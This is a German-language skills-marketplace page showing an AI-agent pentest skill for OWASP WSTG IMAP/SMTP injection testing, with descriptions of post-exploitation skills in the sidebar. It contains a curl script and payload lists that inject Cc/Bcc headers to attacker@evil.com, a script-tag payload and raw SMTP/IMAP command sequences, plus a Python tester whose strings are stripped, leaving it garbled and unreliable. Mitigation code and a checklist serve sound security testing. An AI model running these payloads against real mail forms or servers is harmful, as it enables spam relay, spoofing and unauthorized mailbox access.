Menü
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-10Der Befehl bleibt in einer Zeile. Scrollen Sie horizontal, um ihn vor dem Kopieren vollständig zu prüfen.
Sie bevorzugen eine lokale Kopie? Laden Sie die Dateien herunter, die SkillsMP derzeit vorliegen.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Basierend auf der SOC-Berufsklassifikation
SKILL.md wird angezeigt
| name | wstg-inpv-10 |
| description | Testing for IMAP/SMTP Injection |
| category | input-validation |
| owasp_id | WSTG-INPV-10 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | ["CWE-601"] |
| chains_with | ["wstg-inpv-02","wstg-sess-05"] |
| prerequisites | ["wstg-info-01"] |
| severity_boost | {} |
WSTG-INPV-10
Testing for IMAP/SMTP Injection
IMAP/SMTP Injection occurs when user input is incorporated into mail server commands without proper validation. Attackers can manipulate email functionality to send spam, access other users' mailboxes, execute arbitrary IMAP/SMTP commands, or bypass email-based security controls.
#!/bin/bash
TARGET="https://target.com/contact"
# Test email header injection via form
echo "[*] Testing email header injection..."
# CC injection
curl -s -X POST "$TARGET" \
-d "name=Test" \
-d "email=test@test.com%0ACc:attacker@evil.com" \
-d "message=Test message"
# BCC injection
curl -s -X POST "$TARGET" \
-d "name=Test" \
-d "email=test@test.com%0ABcc:attacker@evil.com" \
-d "message=Test message"
# Subject injection
curl -s -X POST "$TARGET" \
-d "name=Test%0ASubject:Injected Subject" \
-d "email=test@test.com" \
-d "message=Test"
requests
urllib.parse quote
:
():
.url = url
.findings = []
.session = requests.Session()
PAYLOADS = {
: [
,
,
,
,
,
,
,
,
,
],
: [
,
,
,
,
],
: [
,
,
,
],
}
():
()
payload .PAYLOADS[]:
:
response = .session.post(
.url,
data={
email_param: payload,
: ,
: ,
:
}
)
response.status_code == :
response.text.lower() \
response.text.lower():
()
()
.findings.append({
: ,
: payload,
:
})
response.text.lower() \
response.text.lower():
()
Exception e:
():
()
payload .PAYLOADS[]:
:
response = .session.post(
.url,
data={
user_param: payload,
:
}
)
response.text \
response.text \
response.text:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
crlf_payloads = [
,
,
,
]
payload crlf_payloads:
:
response = .session.post(
.url,
data={
: ,
subject_param: payload,
:
}
)
response.status_code == :
()
Exception e:
():
()
spoofed_addresses = [
,
,
,
]
email spoofed_addresses:
:
response = .session.post(
.url,
data={
: email,
: ,
:
}
)
response.text.lower():
()
.findings.append({
: ,
: email,
:
})
Exception e:
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
f:
()
():
.test_header_injection()
.test_crlf_injection()
.test_from_spoofing()
.test_imap_injection()
.generate_report()
tester = MailInjectionTester()
tester.run_tests()
# Email Header Injection
test@test.com%0ACc:attacker@evil.com
test@test.com%0ABcc:attacker@evil.com
test@test.com%0ASubject:Injected
test@test.com%0AContent-Type:text/html%0A%0A<script>alert(1)</script>
# CRLF Variants
%0A = Line Feed
%0D = Carriage Return
%0D%0A = CRLF
\r\n = CRLF (raw)
# IMAP Commands
A001 LOGIN user pass
A002 SELECT INBOX
A003 FETCH 1:* (FLAGS BODY[])
A004 SEARCH ALL
A005 LOGOUT
# SMTP Commands
HELO attacker.com
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@target.com>
DATA
Subject: Injected
Injected body
.
QUIT
| Tool | Purpose |
|---|---|
| Burp Suite | Intercept and modify |
| Telnet | Direct SMTP/IMAP testing |
| swaks | SMTP testing |
| Custom scripts | Automated testing |
# Python - Proper email handling
import re
from email.utils import parseaddr
def validate_email(email):
"""Validate email address and prevent injection"""
# Check for newlines/CRLF
if '\r' in email or '\n' in email:
raise ValueError("Invalid email: contains newlines")
# Parse and validate
_, addr = parseaddr(email)
if not addr:
raise ValueError("Invalid email format")
# Check for valid format
email_regex = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
if not re.match(email_regex, addr):
raise ValueError("Invalid email format")
return addr
# Use libraries that handle headers safely
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
msg = MIMEMultipart()
msg['From'] = 'noreply@example.com'
msg['To'] = validate_email(user_email)
msg['Subject'] = subject.replace('\n', '').replace('\r', '')
<?php
// PHP - Validate and sanitize
function sanitize_email_header($value) {
// Remove newlines and carriage returns
$value = str_replace(["\r", "\n", "%0a", "%0d"], '', $value);
return $value;
}
// Use filter_var for email validation
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
if (!$email) {
die('Invalid email');
}
// Use mail headers safely
$headers = "From: noreply@example.com\r\n";
$headers .= "Reply-To: " . sanitize_email_header($email) . "\r\n";
?>
| Finding | CVSS | Severity |
|---|---|---|
| IMAP command injection | 9.1 | Critical |
| SMTP command injection | 8.1 | High |
| Email header injection | 6.5 | Medium |
| From address spoofing | 4.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-93 | Improper Neutralization of CRLF Sequences |
| CWE-88 | Improper Neutralization of Argument Delimiters in a Command |
[ ] Email header injection tested
[ ] CC/BCC injection tested
[ ] Subject injection tested
[ ] CRLF injection tested
[ ] IMAP commands tested
[ ] SMTP commands tested
[ ] From spoofing tested
[ ] Findings documented